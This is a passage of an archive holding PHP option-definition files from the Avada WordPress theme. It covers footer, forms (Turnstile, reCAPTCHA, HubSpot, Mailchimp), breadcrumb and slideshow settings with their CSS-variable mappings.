'callback' => [ 'font_weight_no_regular', '' ], ], [ 'name' => '--footer_headings_typography-line-height', 'choice' => 'line-height', ], [ 'name' => '--footer_headings_typography-font-style', 'choice' => 'font-style', ], [ 'name' => '--footer_headings_typography-letter-spacing', 'choice' => 'letter-spacing', 'callback' => [ 'maybe_append_px', '' ], ], [ 'name' => '--footer_headings_typography-color', 'choice' => 'color', ], [ 'name' => '--footer_headings_typography-text-transform', 'choice' => 'text-transform', ], ], ], 'footer_text_color' => [ 'label' => esc_html__( 'Footer Font Color', 'Avada' ), 'description' => esc_html__( 'Controls the text color of the footer font.', 'Avada' ), 'id' => 'footer_text_color', 'default' => 'hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 40%))', 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--footer_text_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'footer_link_color' => [ 'label' => esc_html__( 'Footer Link Color', 'Avada' ), 'description' => esc_html__( 'Controls the text color of the footer link font.', 'Avada' ), 'id' => 'footer_link_color', 'default' => 'hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 20%))', 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--footer_link_color', 'element' => '.fusion-footer-widget-area', 'callback' => [ 'sanitize_color' ], ], ], ], 'footer_link_color_hover' => [ 'label' => esc_html__( 'Footer Link Hover Color', 'Avada' ), 'description' => esc_html__( 'Controls the text hover color of the footer link font.', 'Avada' ), 'id' => 'footer_link_color_hover', 'default' => 'var(--awb-color4)', 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--footer_link_color_hover', 'element' => '.fusion-footer-widget-area', 'callback' => [ 'sanitize_color' ], ], ], ], 'copyright_text_color' => [ 'label' => esc_html__( 'Copyright Text Color', 'Avada' ), 'description' => esc_html__( 'Controls the text color of the footer copyright area.', 'Avada' ), 'id' => 'copyright_text_color', 'default' => 'hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 60%))', 'type' => 'color-alpha', 'required' => [ [ 'setting' => 'footer_copyright', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--copyright_text_color', 'element' => '.fusion-copyright-notice', 'callback' => [ 'sanitize_color' ], ], ], ], 'copyright_link_color' => [ 'label' => esc_html__( 'Copyright Link Color', 'Avada' ), 'description' => esc_html__( 'Controls the link color of the footer copyright area.', 'Avada' ), 'id' => 'copyright_link_color', 'default' => 'hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 20%))', 'type' => 'color-alpha', 'required' => [ [ 'setting' => 'footer_copyright', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--copyright_link_color', 'element' => '.fusion-copyright-notice', 'callback' => [ 'sanitize_color' ], ], ], ], 'copyright_link_color_hover' => [ 'label' => esc_html__( 'Copyright Link Hover Color', 'Avada' ), 'description' => esc_html__( 'Controls the link hover color of the footer copyright area.', 'Avada' ), 'id' => 'copyright_link_color_hover', 'default' => 'var(--awb-color4)', 'type' => 'color-alpha', 'required' => [ [ 'setting' => 'footer_copyright', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--copyright_link_color_hover', 'element' => '.fusion-footer-copyright-area', 'callback' => [ 'sanitize_color' ], ], ], ], 'copyright_font_size' => [ 'label' => esc_html__( 'Copyright Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size for the copyright text.', 'Avada' ), 'id' => 'copyright_font_size', 'default' => '13px', 'type' => 'dimension', 'choices' => [ 'units' => [ 'px', 'em' ], ], 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--copyright_font_size', 'element' => '.fusion-copyright-notice', ], ], ], ], ], ]; $sections['footer']['fields'] = array_merge( $sections['footer']['fields'], $fields ); return $sections; } Avada/includes/options/forms.php000064400000054263152342437700012741 0ustar00 'postMeta', 'condition' => '_wp_page_template', 'operator' => '===', 'value' => 'contact.php', ], ]; $sections['forms'] = [ 'label' => esc_html__( 'Forms', 'Avada' ), 'id' => 'forms', 'priority' => 21, 'is_panel' => true, 'icon' => 'el-icon-envelope', 'alt_icon' => 'fusiona-avada-form-element', 'fields' => [ 'forms_styling_section' => [ 'label' => esc_html__( 'Forms Styling', 'Avada' ), 'description' => '', 'id' => 'forms_styling_section', 'type' => 'sub-section', 'fields' => [ 'forms_styling_important_note_info' => [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: The options on this tab apply to all forms throughout the site, including Avada Forms and the 3rd party plugins that Avada has design integration with.', 'Avada' ) . '
', 'id' => 'forms_styling_important_note_info', 'type' => 'custom', ], 'form_input_height' => [ 'label' => esc_html__( 'Form Input and Select Height', 'Avada' ), 'description' => esc_html__( 'Controls the height of all search, form input and select fields.', 'Avada' ), 'id' => 'form_input_height', 'default' => '50px', 'type' => 'dimension', 'choices' => [ 'px' ], 'css_vars' => [ [ 'name' => '--form_input_height', ], [ 'name' => '--form_input_height-main-menu-search-width', 'callback' => [ 'conditional_return_value', [ 'value_pattern' => [ 'calc(250px + 1.43 * $)', '250px' ], 'conditions' => [ [ 'form_input_height', '>', '35' ], ], ], ], ], ], ], 'form_text_size' => [ 'label' => esc_html__( 'Form Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the size of the form text.', 'Avada' ), 'id' => 'form_text_size', 'default' => '16px', 'type' => 'dimension', 'css_vars' => [ [ 'name' => '--form_text_size', 'po' => false, ], ], ], 'form_bg_color' => [ 'label' => esc_html__( 'Form Field Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of form fields.', 'Avada' ), 'id' => 'form_bg_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--form_bg_color', 'callback' => [ 'sanitize_color' ], 'po' => false, ], ], ], 'form_text_color' => [ 'label' => esc_html__( 'Form Text Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the form text.', 'Avada' ), 'id' => 'form_text_color', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--form_text_color', 'callback' => [ 'sanitize_color' ], 'po' => false, ], [ 'name' => '--form_text_color-35a', 'callback' => [ 'color_alpha_set', '0.35' ], 'po' => false, ], ], ], 'form_border_width' => [ 'label' => esc_html__( 'Form Border Size', 'Avada' ), 'description' => esc_html__( 'Controls the border size of the form fields.', 'Avada' ), 'id' => 'form_border_width', 'choices' => [ 'top' => true, 'bottom' => true, 'left' => true, 'right' => true, ], 'default' => [ 'top' => '1px', 'bottom' => '1px', 'left' => '1px', 'right' => '1px', ], 'type' => 'spacing', 'css_vars' => [ [ 'name' => '--form_border_width-top', 'choice' => 'top', 'po' => false, ], [ 'name' => '--form_border_width-bottom', 'choice' => 'bottom', 'po' => false, ], [ 'name' => '--form_border_width-left', 'choice' => 'left', 'po' => false, ], [ 'name' => '--form_border_width-right', 'choice' => 'right', 'po' => false, ], ], ], 'form_border_color' => [ 'label' => esc_html__( 'Form Border Color', 'Avada' ), 'description' => esc_html__( 'Controls the border color of the form fields.', 'Avada' ), 'id' => 'form_border_color', 'default' => 'var(--awb-color3)', 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--form_border_color', 'callback' => [ 'sanitize_color' ], 'po' => false, ], ], ], 'form_focus_border_color' => [ 'label' => esc_html__( 'Form Border Color On Focus', 'Avada' ), 'description' => esc_html__( 'Controls the border color of the form fields when they have focus.', 'Avada' ), 'id' => 'form_focus_border_color', 'default' => 'var(--awb-color4)', 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--form_focus_border_color', 'callback' => [ 'sanitize_color' ], 'po' => false, ], [ 'name' => '--form_focus_border_color-5a', 'callback' => [ 'color_alpha_set', '0.5' ], 'po' => false, ], ], ], 'form_border_radius' => [ 'label' => esc_html__( 'Form Border Radius', 'Avada' ), 'description' => esc_html__( 'Controls the border radius of the form fields. Also works, if border size is set to 0.', 'Avada' ), 'id' => 'form_border_radius', 'default' => '6', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '50', 'step' => '1', ], 'css_vars' => [ [ 'name' => '--form_border_radius', 'value_pattern' => '$px', 'po' => false, ], ], ], 'form_views' => [ 'label' => esc_html__( 'Form Views Counter', 'Avada' ), 'description' => esc_html__( 'Set the method to update the form views, or disable them entirely. "Page Load" option will update using PHP when a page is retrieved. "Ajax" will send an additional request after the page loads.', 'Avada' ), 'id' => 'form_views', 'default' => 'ajax', 'type' => 'radio-buttonset', 'choices' => [ 'page_load' => esc_html__( 'Page Load', 'Avada' ), 'ajax' => esc_html__( 'Ajax', 'Avada' ), 'disabled' => esc_html__( 'Disabled', 'Avada' ), ], ], 'form_views_counting' => [ 'label' => esc_html__( 'Form Views Counting', 'Avada' ), 'description' => esc_html__( 'Select which types of users will increase the form views on visit.', 'Avada' ), 'id' => 'form_views_counting', 'default' => 'all', 'type' => 'select', 'choices' => [ 'all' => esc_html__( 'All', 'Avada' ), 'logged_out' => esc_html__( 'Logged Out', 'Avada' ), 'non_admins' => esc_html__( 'Non-Admins', 'Avada' ), ], ], ], ], 'turnstile_section' => [ 'label' => esc_html__( 'Cloudflare Turnstile', 'Avada' ), 'description' => '', 'id' => 'turnstile_section', 'type' => 'sub-section', 'fields' => [ 'turnstile_site_key' => [ 'label' => esc_html__( 'Site Key', 'Avada' ), /* translators: "our docs" link. */ 'description' => sprintf( esc_html__( 'Follow the steps in %s to create/access your site key.', 'Avada' ), '' . esc_html__( 'Cloudflare Turnstile docs', 'Avada' ) . '' ), 'id' => 'turnstile_site_key', 'default' => '', 'type' => 'text', 'transport' => 'postMessage', ], 'turnstile_secret_key' => [ 'label' => esc_html__( 'Secret Key', 'Avada' ), /* translators: "our docs" link. */ 'description' => sprintf( esc_html__( 'Follow the steps in %s to create/access your secret key.', 'Avada' ), '' . esc_html__( 'Cloudflare Turnstile docs', 'Avada' ) . '' ), 'id' => 'turnstile_secret_key', 'default' => '', 'type' => 'text', 'transport' => 'postMessage', ], 'turnstile_appearance' => [ 'type' => 'radio-buttonset', 'label ' => esc_html__( 'Appearance Mode', 'Avada' ), 'description' => esc_html__( 'Choose the Turnstile appearance mode. "Always" will display the widget on page load in any case, while "Interaction Only" will make it visible only when visitor interaction is required.', 'Avada' ), 'id' => 'turnstile_appearance', 'default' => 'always', 'choices' => [ 'always' => esc_html__( 'Always', 'Avada' ), 'interaction-only' => esc_html__( 'Interaction Only', 'Avada' ), ], ], 'turnstile_theme' => [ 'type' => 'radio-buttonset', 'label' => esc_html__( 'Color Scheme', 'Avada' ), 'description' => esc_html__( 'Choose the Turnstile color scheme.', 'Avada' ), 'id' => 'turnstile_theme', 'default' => 'auto', 'choices' => [ 'auto' => esc_html__( 'Auto', 'Avada' ), 'light' => esc_html__( 'Light', 'Avada' ), 'dark' => esc_html__( 'Dark', 'Avada' ), ], ], 'turnstile_size' => [ 'type' => 'radio-buttonset', 'label' => esc_html__( 'Widget Size', 'Avada' ), 'description' => esc_html__( 'Choose the Turnstile widget size.', 'Avada' ), 'id' => 'turnstile_size', 'default' => 'normal', 'choices' => [ 'normal' => esc_attr__( 'Normal (300px)', 'Avada' ), 'flexible' => esc_attr__( 'Flexible (100%)', 'Avada' ), 'compact' => esc_attr__( 'Compact (150px)', 'Avada' ), ], ], 'turnstile_language' => [ 'type' => 'select', 'label' => esc_html__( 'Language', 'Avada' ), 'description' => esc_html__( 'Choose the Turnstile widget language.', 'Avada' ), 'id' => 'turnstile_language', 'default' => 'auto', 'choices' => AWB_Cloudflare_Turnstile::get_language_array(), ], 'turnstile_comment_form' => [ 'label' => esc_html__( 'Turnstile For Comments', 'Avada' ), 'description' => esc_html__( 'Turn on to add Turnstile to comment forms.', 'Avada' ), 'id' => 'turnstile_comment_form', 'default' => '0', 'type' => 'switch', ], ], ], 'recaptcha_section' => [ 'label' => esc_html__( 'Google reCaptcha', 'Avada' ), 'id' => 'recaptcha_section', 'type' => 'sub-section', 'fields' => [ 'recaptcha_version' => [ 'label' => esc_html__( 'reCAPTCHA Version', 'Avada' ), 'description' => esc_html__( 'Set the reCAPTCHA version you want to use and make sure your keys below match the set version.', 'Avada' ), 'id' => 'recaptcha_version', 'default' => 'v3', 'type' => 'radio-buttonset', 'choices' => [ 'v2' => esc_html__( 'V2', 'Avada' ), 'v3' => esc_html__( 'V3', 'Avada' ), ], 'update_callback' => $contact_page_callback, ], 'recaptcha_public' => [ 'label' => esc_html__( 'reCAPTCHA Site Key', 'Avada' ), /* translators: "our docs" link. */ 'description' => sprintf( esc_html__( 'Follow the steps in %s to get the site key.', 'Avada' ), '' . esc_html__( 'our docs', 'Avada' ) . '' ), 'id' => 'recaptcha_public', 'default' => '', 'type' => 'text', // This option doesn't require updating the preview. 'transport' => 'postMessage', ], 'recaptcha_private' => [ 'label' => esc_html__( 'reCAPTCHA Secret Key', 'Avada' ), /* translators: "our docs" link. */ 'description' => sprintf( esc_html__( 'Follow the steps in %s to get the secret key.', 'Avada' ), '' . esc_html__( 'our docs', 'Avada' ) . '' ), 'id' => 'recaptcha_private', 'default' => '', 'type' => 'text', // This option doesn't require updating the preview. 'transport' => 'postMessage', ], 'recaptcha_color_scheme' => [ 'label' => esc_html__( 'reCAPTCHA Color Scheme', 'Avada' ), 'description' => esc_html__( 'Controls the reCAPTCHA color scheme.', 'Avada' ), 'id' => 'recaptcha_color_scheme', 'default' => 'light', 'type' => 'radio-buttonset', 'choices' => [ 'light' => esc_html__( 'Light', 'Avada' ), 'dark' => esc_html__( 'Dark', 'Avada' ), ], 'required' => [ [ 'setting' => 'recaptcha_version', 'operator' => '==', 'value' => 'v2', ], ], 'update_callback' => $contact_page_callback, ], 'recaptcha_score' => [ 'label' => esc_html__( 'reCAPTCHA Security Score', 'Avada' ), 'description' => esc_html__( 'Set a threshold score that must be met by the reCAPTCHA response. The higher the score the harder it becomes for bots, but also false positives increase.', 'Avada' ), 'id' => 'recaptcha_score', 'default' => '0.5', 'type' => 'slider', 'choices' => [ 'min' => '0.1', 'max' => '1', 'step' => '0.1', ], 'required' => [ [ 'setting' => 'recaptcha_version', 'operator' => '==', 'value' => 'v3', ], ], // This option doesn't require updating the preview. 'transport' => 'postMessage', ], 'recaptcha_badge_position' => [ 'label' => esc_html__( 'reCAPTCHA Badge Position', 'Avada' ), 'description' => __( 'Set where and if the reCAPTCHA badge should be displayed. NOTE: Google\'s Terms and Privacy information needs to be displayed on the contact form.', 'Avada' ), 'id' => 'recaptcha_badge_position', 'default' => 'inline', 'type' => 'radio-buttonset', 'choices' => [ 'inline' => esc_html__( 'Inline', 'Avada' ), 'bottomleft' => esc_html__( 'Bottom Left', 'Avada' ), 'bottomright' => esc_html__( 'Bottom Right', 'Avada' ), 'hide' => esc_html__( 'Hide', 'Avada' ), ], 'required' => [ [ 'setting' => 'recaptcha_version', 'operator' => '==', 'value' => 'v3', ], ], 'update_callback' => $contact_page_callback, ], 'recaptcha_login_form' => [ 'label' => esc_html__( 'reCAPTCHA For User Elements', 'Avada' ), 'description' => esc_html__( 'Turn on to add reCAPTCHA to the user login, user lost password and user registration forms.', 'Avada' ), 'id' => 'recaptcha_login_form', 'default' => '0', 'type' => 'switch', ], 'recaptcha_comment_form' => [ 'label' => esc_html__( 'reCAPTCHA For Comments', 'Avada' ), 'description' => esc_html__( 'Turn on to add reCAPTCHA to comment forms.', 'Avada' ), 'id' => 'recaptcha_comment_form', 'default' => '0', 'type' => 'switch', ], ], ], 'hubspot_section' => [ 'label' => esc_html__( 'HubSpot', 'Avada' ), 'description' => '', 'id' => 'hubspot_section', 'type' => 'sub-section', 'fields' => [ 'hubspot_api' => [ 'label' => esc_html__( 'HubSpot API', 'Avada' ), 'description' => esc_html__( 'Select a method to connect to your HubSpot account.', 'Avada' ), 'id' => 'hubspot_api', 'default' => 'off', 'type' => 'radio-buttonset', 'choices' => [ 'auth' => esc_html__( 'OAuth', 'Avada' ), 'key' => esc_html__( 'API Key', 'Avada' ), 'off' => esc_html__( 'Off', 'Avada' ), ], 'transport' => 'postMessage', ], 'hubspot_key' => [ 'label' => esc_html__( 'HubSpot API Key', 'Avada' ), /* translators: "our docs" link. */ 'description' => sprintf( esc_html__( 'Follow the steps in %s to access your API key.', 'Avada' ), '' . esc_html__( 'HubSpot docs', 'Avada' ) . '' ), 'id' => 'hubspot_key', 'default' => '', 'type' => 'text', 'required' => [ [ 'setting' => 'hubspot_api', 'operator' => '==', 'value' => 'key', ], ], // This option doesn't require updating the preview. 'transport' => 'postMessage', ], 'hubspot_oauth' => [ 'label' => '', 'description' => ( class_exists( 'Fusion_Hubspot' ) ? Fusion_Hubspot()->maybe_render_button() : '' ), 'id' => 'hubspot_oauth', 'type' => 'custom', 'required' => [ [ 'setting' => 'hubspot_api', 'operator' => '==', 'value' => 'auth', ], ], ], 'reset_hubspot_cache' => [ 'label' => esc_html__( 'Reset HubSpot Properties', 'Avada' ), 'description' => esc_html__( 'Resets all HubSpot properties data.', 'Avada' ), 'id' => 'reset_hubspot_cache', 'default' => '', 'type' => 'raw', 'content' => '' . esc_html__( 'Reset HubSpot Cache', 'Avada' ) . '', 'full_width' => false, 'transport' => 'postMessage', // No need to refresh the page. 'hide_on_front' => true, 'required' => [ [ 'setting' => 'hubspot_api', 'operator' => '!=', 'value' => 'off', ], ], ], ], ], 'mailchimp_section' => [ 'label' => esc_html__( 'Mailchimp', 'Avada' ), 'description' => '', 'id' => 'mailchimp_section', 'type' => 'sub-section', 'fields' => [ 'mailchimp_api' => [ 'label' => esc_html__( 'Mailchimp API', 'Avada' ), 'description' => esc_html__( 'Select a method to connect to your Mailchimp account.', 'Avada' ), 'id' => 'mailchimp_api', 'default' => 'off', 'type' => 'radio-buttonset', 'choices' => [ 'auth' => esc_html__( 'OAuth', 'Avada' ), 'key' => esc_html__( 'API Key', 'Avada' ), 'off' => esc_html__( 'Off', 'Avada' ), ], 'transport' => 'postMessage', ], 'mailchimp_key' => [ 'label' => esc_html__( 'Mailchimp API Key', 'Avada' ), /* translators: "our docs" link. */ 'description' => sprintf( esc_html__( 'Follow the steps in %s to access your API key.', 'Avada' ), '' . esc_html__( 'Mailchimp docs', 'Avada' ) . '' ), 'id' => 'mailchimp_key', 'default' => '', 'type' => 'text', 'required' => [ [ 'setting' => 'mailchimp_api', 'operator' => '==', 'value' => 'key', ], ], // This option doesn't require updating the preview. 'transport' => 'postMessage', ], 'mailchimp_oauth' => [ 'label' => '', 'description' => ( class_exists( 'Fusion_Mailchimp' ) ? Fusion_Mailchimp()->maybe_render_button() : '' ), 'id' => 'mailchimp_oauth', 'type' => 'custom', 'required' => [ [ 'setting' => 'mailchimp_api', 'operator' => '==', 'value' => 'auth', ], ], ], 'reset_mailchimp_cache' => [ 'label' => esc_html__( 'Reset Mailchimp Lists and Fields', 'Avada' ), 'description' => esc_html__( 'Resets all Mailchimp lists and fields data.', 'Avada' ), 'id' => 'reset_mailchimp_cache', 'default' => '', 'type' => 'raw', 'content' => '' . esc_html__( 'Reset Mailchimp Cache', 'Avada' ) . '', 'full_width' => false, 'transport' => 'postMessage', // No need to refresh the page. 'hide_on_front' => true, 'required' => [ [ 'setting' => 'mailchimp_api', 'operator' => '!=', 'value' => 'off', ], ], ], ], ], ], ]; return $sections; } Avada/includes/options/breadcrumbs.php000064400000024203152342437700014073 0ustar00 'custom', 'description' => '
' . esc_attr__( 'Yoast SEO plugin is active, and its breadcrumb function is overwriting Avada\'s output.', 'fusion-builder' ) . '
', 'id' => 'breadcrumb_info', ]; } else if ( function_exists( 'rank_math_get_breadcrumbs' ) ) { $info = [ 'type' => 'custom', 'description' => '
' . esc_attr__( 'RankMath SEO plugin is active, and its breadcrumb function is overwriting Avada\'s output.', 'fusion-builder' ) . '
', 'id' => 'breadcrumb_info', ]; } $sections['breadcrumbs'] = [ 'label' => esc_html__( 'Breadcrumbs', 'Avada' ), 'id' => 'heading_breadcrumbs', 'priority' => 7, 'icon' => 'el-icon-chevron-right', 'alt_icon' => 'fusiona-breadcrumb', 'fields' => [ $info, 'breadcrumb_mobile' => [ 'label' => esc_html__( 'Breadcrumbs on Mobile Devices', 'Avada' ), 'description' => esc_html__( 'Turn on to display breadcrumbs on mobile devices.', 'Avada' ), 'id' => 'breadcrumb_mobile', 'default' => '0', 'type' => 'switch', 'soft_dependency' => true, 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'false' ], 'element' => 'body', 'className' => 'avada-has-breadcrumb-mobile-hidden', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'breacrumb_prefix' => [ 'label' => esc_html__( 'Breadcrumbs Prefix', 'Avada' ), 'description' => esc_html__( 'Controls the text before the breadcrumb menu.', 'Avada' ), 'id' => 'breacrumb_prefix', 'default' => '', 'type' => 'text', 'soft_dependency' => true, 'partial_refresh' => [ 'page_title_bar_contents_breacrumb_prefix' => [ 'selector' => '.avada-page-titlebar-wrapper', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'page_titlebar_wrapper' ], 'success_trigger_event' => 'fusion-ptb-refreshed', ], ], ], 'breacrumb_home_label' => [ 'label' => esc_html__( 'Breadcrumbs Home Anchor Text', 'Avada' ), 'description' => esc_html__( 'Controls the text anchor of the Homelink. Leave empty for translatable default of "Home".', 'Avada' ), 'id' => 'breacrumb_home_label', 'default' => '', 'type' => 'text', 'soft_dependency' => true, 'partial_refresh' => [ 'page_title_bar_contents_breacrumb_home_label' => [ 'selector' => '.avada-page-titlebar-wrapper', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'page_titlebar_wrapper' ], 'success_trigger_event' => 'fusion-ptb-refreshed', ], ], ], 'breadcrumb_separator' => [ 'label' => esc_html__( 'Breadcrumbs Separator', 'Avada' ), 'description' => esc_html__( 'Controls the type of separator between each breadcrumb.', 'Avada' ), 'id' => 'breadcrumb_separator', 'default' => '/', 'type' => 'text', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--breadcrumbs_separator', 'element' => '.fusion-page-title-bar, .fusion-breadcrumbs .awb-breadcrumb-sep', 'value_pattern' => '"$"', 'callback' => [ 'replace_chars', [ 'replacements' => [ '\\' => '\\\\' ], ], ], ], ], ], 'breadcrumbs_font_size' => [ 'label' => esc_html__( 'Breadcrumbs Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size for the breadcrumbs text.', 'Avada' ), 'id' => 'breadcrumbs_font_size', 'default' => '14px', 'type' => 'dimension', 'choices' => [ 'units' => [ 'px', 'em' ], ], 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--breadcrumbs_font_size', 'element' => '.fusion-page-title-bar, .fusion-breadcrumbs', ], ], ], 'breadcrumbs_text_color' => [ 'label' => esc_html__( 'Breadcrumbs Text Color', 'Avada' ), 'description' => esc_html__( 'Controls the text color of the breadcrumbs font.', 'Avada' ), 'id' => 'breadcrumbs_text_color', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--breadcrumbs_text_color', 'element' => '.fusion-page-title-bar, .fusion-breadcrumbs', 'callback' => [ 'sanitize_color' ], ], ], ], 'breadcrumbs_text_hover_color' => [ 'label' => esc_html__( 'Breadcrumbs Text Hover Color', 'Avada' ), 'description' => esc_html__( 'Controls the text hover color of the breadcrumbs font.', 'Avada' ), 'id' => 'breadcrumbs_text_hover_color', 'default' => 'var(--awb-color4)', 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--breadcrumbs_text_hover_color', 'element' => '.fusion-page-title-bar, .fusion-breadcrumbs', 'callback' => [ 'sanitize_color' ], ], ], ], 'breadcrumbs_prefix_color' => [ 'label' => esc_html__( 'Breadcrumbs Prefix Color', 'Avada' ), 'description' => esc_html__( 'Controls the text color of the breadcrumbs prefix. Leave empty to use the text color above.', 'Avada' ), 'id' => 'breadcrumbs_prefix_color', 'default' => '', 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--breadcrumbs_prefix_color', 'element' => '.fusion-page-title-bar, .fusion-breadcrumbs', ], ], ], 'breadcrumbs_current_page_color' => [ 'label' => esc_html__( 'Breadcrumbs Current Page Color', 'Avada' ), 'description' => esc_html__( 'Controls the text color of the current page in the breadcrumbs path. Leave empty to use the text color above.', 'Avada' ), 'id' => 'breadcrumbs_current_page_color', 'default' => '', 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--breadcrumbs_current_page_color', 'element' => '.fusion-page-title-bar, .fusion-breadcrumbs', ], ], ], 'breadcrumbs_separator_color' => [ 'label' => esc_html__( 'Breadcrumbs Separator Color', 'Avada' ), 'description' => esc_html__( 'Controls the separator color of the breadcrumbs. Leave empty to use the text color above.', 'Avada' ), 'id' => 'breadcrumbs_separator_color', 'default' => '', 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--breadcrumbs_separator_color', 'element' => '.fusion-page-title-bar, .fusion-breadcrumbs', ], ], ], 'breadcrumb_show_categories' => [ 'label' => esc_html__( 'Post Categories/Terms on Breadcrumbs', 'Avada' ), 'description' => esc_html__( 'Turn on to display the post categories/terms in the breadcrumbs path.', 'Avada' ), 'id' => 'breadcrumb_show_categories', 'default' => '1', 'type' => 'switch', 'soft_dependency' => true, 'partial_refresh' => [ 'page_title_bar_contents_breadcrumb_show_categories' => [ 'selector' => '.avada-page-titlebar-wrapper', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'page_titlebar_wrapper' ], 'success_trigger_event' => 'fusion-ptb-refreshed', ], ], ], 'breadcrumb_show_post_type_archive' => [ 'label' => esc_html__( 'Post Type Archives on Breadcrumbs', 'Avada' ), 'description' => esc_html__( 'Turn on to display post type archives in the breadcrumbs path.', 'Avada' ), 'id' => 'breadcrumb_show_post_type_archive', 'default' => '0', 'type' => 'switch', 'soft_dependency' => true, 'partial_refresh' => [ 'page_title_bar_contents_breadcrumb_show_post_type_archive' => [ 'selector' => '.avada-page-titlebar-wrapper', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'page_titlebar_wrapper' ], 'success_trigger_event' => 'fusion-ptb-refreshed', ], ], ], 'breadcrumb_show_leaf' => [ 'label' => esc_html__( 'Post Name on Breadcrumbs', 'Avada' ), 'description' => esc_html__( 'Turn on to display the post name in the breadcrumbs path.', 'Avada' ), 'id' => 'breadcrumb_show_leaf', 'default' => '1', 'type' => 'switch', 'soft_dependency' => true, 'partial_refresh' => [ 'page_title_bar_contents_breadcrumb_show_leaf' => [ 'selector' => '.avada-page-titlebar-wrapper', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'page_titlebar_wrapper' ], 'success_trigger_event' => 'fusion-ptb-refreshed', ], ], ], ], ]; return $sections; } Avada/includes/options/slideshows.php000064400000011350152342437700013765 0ustar00 esc_html__( 'Slideshows', 'Avada' ), 'id' => 'heading_slideshows', 'priority' => 19, 'icon' => 'el-icon-picture', 'alt_icon' => 'fusiona-uniF61C', 'fields' => [ 'posts_slideshow_number' => [ 'label' => esc_html__( 'Posts Slideshow Images', 'Avada' ), 'description' => esc_html__( 'Controls the number of featured image boxes for blog/portfolio posts.', 'Avada' ), 'id' => 'posts_slideshow_number', 'default' => '5', 'type' => 'slider', 'choices' => [ 'min' => '1', 'max' => '30', 'step' => '1', ], ], 'slideshow_autoplay' => [ 'label' => esc_html__( 'Autoplay', 'Avada' ), 'description' => esc_html__( 'Turn on to autoplay the slideshows.', 'Avada' ), 'id' => 'slideshow_autoplay', 'default' => '1', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'slideshow_smooth_height' => [ 'label' => esc_html__( 'Smooth Height', 'Avada' ), 'description' => esc_html__( 'Turn on to enable smooth height on slideshows when using images with different heights. Please note, smooth height is disabled on blog grid layout.', 'Avada' ), 'id' => 'slideshow_smooth_height', 'default' => '0', 'type' => 'switch', ], 'slideshow_speed' => [ 'label' => esc_html__( 'Slideshow Speed', 'Avada' ), 'description' => esc_html__( 'Controls the speed of slideshows for the slider element and sliders within posts. ex: 1000 = 1 second.', 'Avada' ), 'id' => 'slideshow_speed', 'default' => '7000', 'type' => 'slider', 'choices' => [ 'min' => '100', 'max' => '20000', 'step' => '50', ], 'output' => [ // Change the fusionFlexSliderVars.slideshow_speed var. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionFlexSliderVars', 'id' => 'slideshow_speed', 'trigger' => [ 'fusionDestroyPostFlexSlider', 'fusionInitPostFlexSlider' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'pagination_video_slide' => [ 'label' => esc_html__( 'Pagination Circles Below Video Slides', 'Avada' ), 'description' => esc_html__( 'Turn on to show pagination circles below a video slide for the slider element. Turn off to hide them on video slides.', 'Avada' ), 'id' => 'pagination_video_slide', 'default' => '0', 'type' => 'switch', 'output' => [ // Change the fusionFlexSliderVars.pagination_video_slide var. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionFlexSliderVars', 'id' => 'pagination_video_slide', 'trigger' => [ 'fusionDestroyPostFlexSlider', 'fusionInitPostFlexSlider' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'slider_nav_box_dimensions' => [ 'label' => esc_html__( 'Navigation 